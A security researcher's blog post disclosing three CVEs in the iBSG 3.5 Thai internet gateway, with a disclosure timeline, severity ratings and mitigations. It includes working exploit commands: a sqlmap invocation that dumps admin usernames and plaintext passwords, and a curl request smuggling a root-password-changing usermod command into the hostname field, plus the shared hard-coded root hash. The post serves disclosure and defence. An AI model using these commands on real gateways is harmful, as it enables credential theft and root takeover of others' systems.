Background⌗

Mid 2023, during the monsoon season, I traveled to Thailand. During my three-week stay I could admire very beautiful nature in the north, beaches in the south and the friendliness and cooking skills of the Thais. And although the trip was a vacation to get my head free after a few stressful months in my job as IT security expert, I stumbled across three unknown security vulnerabilities in the internet gateway software iBSG developed by N.V.K. INTER CO., LTD., which I’d like to document in this blogpost, focusing on discovery, severity, exploitation and mitigation.

Objective⌗

From the website of the producer NVK (translated, original in Thai):

iBSG (Intelligent Broadband Subscriber Gateway) is a complete solution designed specifically for wired and wireless Internet Service Providers. In an apartment, hotel, school or office, iBSG has a main function as Gateway to determine access rights to the Internet, billing system, advanced network management system. Computer traffic data collection system (Traffic Log Recorder) in accordance with the Act. Comp 2007 by iBSG is available in the form of software to be installed on a computer. And a finished hardware (iBSG The Box) at present, iBSG is considered a system that has been highly reliable. And is considered the most popular Internet Gateway solution in Thailand.

From a software perspective, version 3.5 of NVK’s iBSG solution is a customized CentOS 6.9 running on Linux kernel 2.6.32. The distributed IBSGLITE_V3.5_32R1B ISO, which is the exact version analyzed in this blogpost, is a customized and kickstarted CentOS installation ISO which automatically installs the system and iBSG software to the first available hard drive without the need for user interaction.

As the software is meant to be used for the iBSG hardware, or at least a headless computer, choosing this automated kickstarted way makes sense as you can install updates or reinstall the whole system without the need to attach keyboard, mouse and display to your appliance. On the other hand, the owner of the system has little control over the underlying configuration, like the root password, disk encryption, or configuration of SSH.

Timeline⌗

  • XX-07-2023: Discovery of vulnerabilities on own VM in lab environment
  • 03-08-2023: Initial disclosure towards NVK
  • 08-08-2023: Disclosure of technical details towards NVK
  • 21-08-2023: CVEs assigned
  • 17-12-2023: Release of blog post

Lab Setup⌗

As the iBSG software is not resource hungry, it can be easily installed into a small VM (I found 1C with 1GB memory and 5GB HDD sufficient) simply by booting off the ISO and letting the installer do the rest.

Attach a Host-only network to the machine and configure your host machine appropiately, e.g. with 192.168.2.23/24. After installation, iBSG configured the first network interface with IP 192.168.2.254/24.

Note that the kickstarted ISO is configured to automatically crypt the HDD and set a password for the root user:

# From IBSGLITE_V3.5_32r1B_[B0850894]_U_C69.ISO/default.cfg, L5,12
rootpw --iscrypted $1$4Tmm01jl$7HRvcW.bz7uGmX9hiQWvR.
[...]
bootloader --location=mbr --append="crashkernel=auto pcie_aspm=off" --md5pass=$1$eEidB1$qJZVClrKXTJnZ64WM13/9.

This means that you can’t login to the VM using the console. To explore the system further, I modified both lines to effectively allow me access:

# do not crypt / :
sed -i 's/bootloader --location=mbr --append="crashkernel=auto pcie_aspm=off" --md5pass=\$1\$eEidB1\$qJZVClrKXTJnZ64WM13\/9./bootloader --location=mbr --append="crashkernel=auto pcie_aspm=off"                                           /g' IBSGLITE_V3.5_32r1B_\[B0850894\]_U_C69.ISO

# set root password to "oinkoink"
sed -i "s/rootpw --iscrypted \$1\$4Tmm01jl\$7HRvcW.bz7uGmX9hiQWvR./rootpw oinkoink                                      /g" IBSGLITE_V3.5_32r1B_\[B0850894\]_U_C69.ISO

Side note: using sed in such a scenario should be avoided. As you can see, you need to match the length, and this method would fail if there were a checksum algorithm in place. The clean solution would’ve been to use mkisofs and create a new ISO, but hey, I was on vacation and sed worked in this case.

After installation, you can inspect the disk further by running:

  • sudo losetup --find --partscan ./hdd_after_install.img
  • sudo vgchange -ay vg_ibsg
  • sudo mount -o defaults,ro /dev/vg_ibsg/lv_root /mnt

Nearly all of the iBSG-specific software is in /home/ibsg:

  • bin: scripts mostly called by cron or doing helper stuff
  • class: PHP class files to be imported by the web frontend
  • conf: miscellaneous content and auxiliary files (not only configs!)
  • install: scripts used in the first run, driver stuff
  • webui: directly hosted via HTTP on port 80/TCP

All PHP files are obfuscated using ionCube. There are shady online services offering to decrypt the source code for you; I’d strongly advise against this from legal and security perspective. Keep in mind that I’m not a lawyer. For this blog post, we treat the source code as a black box.

Vulnerabilities⌗

CVE-2023-39807⌗

Description⌗

Unauthenticated blind SQL injection (SQLi) in /portal/user-register.php allows remote attackers to read out administrator usernames and unhashed passwords through the a_passwd POST parameter.

Evaluation⌗

CVSS v2: AV:N/AC:L/Au:N/C:C/I:C/A:C = Base Score 10.0

From my perspective, a vulnerability able to retrieve administrator credentials on this service is the most critical problem you can have, also taking into consideration that the passwords are not hashed. This also allows lateral movement in the network, especially when chained with the command injection vulnerability described below.

Exploitation⌗

Using the awesome sqlmap project , the process of exploiting the blind SQL injection using SQLs sleep command can be automated:

sqlmap --method=POST --data="a_passwd=%INJECT HERE" --url http://192.168.2.254/portal/user-register.php --dbms MySQL --union-char 23 --technique=T -D ibsg -T admin -C a_login,a_passwd --dump --batch

This will dump columns a_login and a_passwd from the admin table in ibsg database.

Mitigation⌗

If available, filter user input using a web application firewall.

Make sure to not reuse admin username and password on other services and systems. Change your current credentials.

Install the update provided by NVK.

CVE-2023-39809⌗

Description⌗

Authenticated blind command injection (OSi) in /manage/network-basic.php allows remote attackers to execute commands as root user, escalating from the iBSG administrator account on the web portal to the OS administrator, through the system_hostname parameter.

The endpoint in question is called from within the admin web portal on /manage when navigating to Network/Basic/Miscellaneous. The field value of Hostname, which equals the system_hostname field on the endpoint, gets filtered client-side, which prevents the attack from the UI. However, the endpoint doesn‘t filter the input, allowing blind remote code execution.

Evaluation⌗

CVSS v2: AV:N/AC:L/Au:N/C:C/I:C/A:C = Base Score 8.5

Exploitation⌗

To change the password of root, run:

curl 'http://192.168.2.254/manage/network-basic.php' -X POST -H 'Referer: http://192.168.2.254/manage/network-basic.php' -H 'Origin: http://192.168.2.254' -H 'Cookie: unique_a=kn4htm8guv1jngm7vgbnm24cg2' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw $'wan_type=1&pppoe_username=&pppoe_passwd=&pppoe_authen_type=0&pppoe_service_name=&wan_ip=&wan_mask=&wan_gateway=&wan_dns1=&wan_dns2=&wan_mtu=1500&pppoe_mtu=1492&pppoe_mss_clamp=1&pppoe_knl_mode=1&pppoe_alt_check=1&lan_ip=192.168.2.254&lan_mask=255.255.255.0&lan_alt_ip=192.168.3.254&lan_alt_mask=255.255.255.0&lan_alt_vlan=0&dhcp_enabled=1&dhcp_start=192.168.2.1&dhcp_end=192.168.2.200&dhcp_leasetime=1440&lan_dns1=&lan_dns2=&system_hostname=ibsg.nvk$(usermod -p Y7.uTy24W3PjI root)&system_mode=0&reqType=apply'

Make sure to swap in your session cookie. It could also be useful to change the other settings to their current value in your environment; the values in the example above are specific to my lab setup and may differ on your side.

The command above will change the hostname to ibsg.nvk$(usermod -p Y7.uTy24W3PjI root), which in turn will change the root password to md5crypt Y7.uTy24W3PjI, which is oinkoink in cleartext. Strangely, it actually changes the whole hostname to this string (without executing the enclosed usermod command). However, it still gets executed, most likely in a different code block.

After running the above command, you can use SSH to log into a proper shell.

Mitigation⌗

To rule out tampering with your current installation, do a clean reinstall.

Install the update provided by NVK.

CVE-2023-39808⌗

Description⌗

Fixed unchangeable root password and SSH misconfiguration allow attackers to take over all installations of iBSG 3.5.

During installation, the password hash $1$4Tmm01jl$7HRvcW.bz7uGmX9hiQWvR. (md5crypt) is set as root password hash. The password is neither randomized per install, nor can it be changed through the web interface on /manage (at least not as intended by the manufacturer: you can change it using the OSi, see CVE-2023-39809 above).

OpenSSH version 5.3p1 is installed on the system. This is a problem on its own, as this version is over 10 years old; the main problem is that the sshd_config in place doesn’t have a PermitRootLogin directive, which means that the default value will be used. Current SSH versions default to prohibit_password, but this old version defaults to yes, which allows anyone with the right root password to log into the machine.

Evaluation⌗

The password hash is publicly known and the same on all installations of iBSG v3.5. This is basically a backdoor for anyone with enough hash cracking capacity or with the right password. While NVK as a company won’t have a proper attack scenario to be a realistic threat in this case, the password could be leaked or stolen and would pose an immediate and high risk to any iBSG installation.

Using 4 RTX3090s in parallel would still take 1.9846145346006685e+24 years in the worst case to crack this hash, so take the risk of hash cracking with a grain of salt. If the cleartext password is not a randomized string but e.g. a word or sentence in Thai, it could still be a matter of minutes to crack it though.

Exploitation⌗

Unless you don’t own a NVIDIA Tesla cluster: not applicable.

Mitigation⌗

To rule out tampering with your current installation, do a clean reinstall.

Install the update provided by NVK.

Other observations⌗

SNMP (161/UDP) is open, which is handy, but also exposes a lot of information about the system. Evaluate if you really need SNMP to be opened, and close it via firewall rules otherwise. My attempts to use the SNMP RCE trick were unsuccessful, which doesn’t mean that it doesn’t work - again, I was on vacation… :)

Chaining and overall evaluation⌗

Chaining CVE-2023-39807 and CVE-2023-39809 gets you from an unauthenticated remote position to an authenticated administrator with full shell rights. While this is the most obvious chain, solely using one of both CVEs for lateral movement inside the network also makes sense. Password reusage is still a huge problem and is aided by the cleartext nature of the passwords used in iBSG.

Conclusion⌗

It was a lot of fun to dig my way through this black box. I am used to having something in my hands to reverse engineer, which was not possible in this case, so I learned a lot on the way.

Thank you for reading! Now, install the fix provided by NVK for iBSG 3.5, and visit Thailand! :)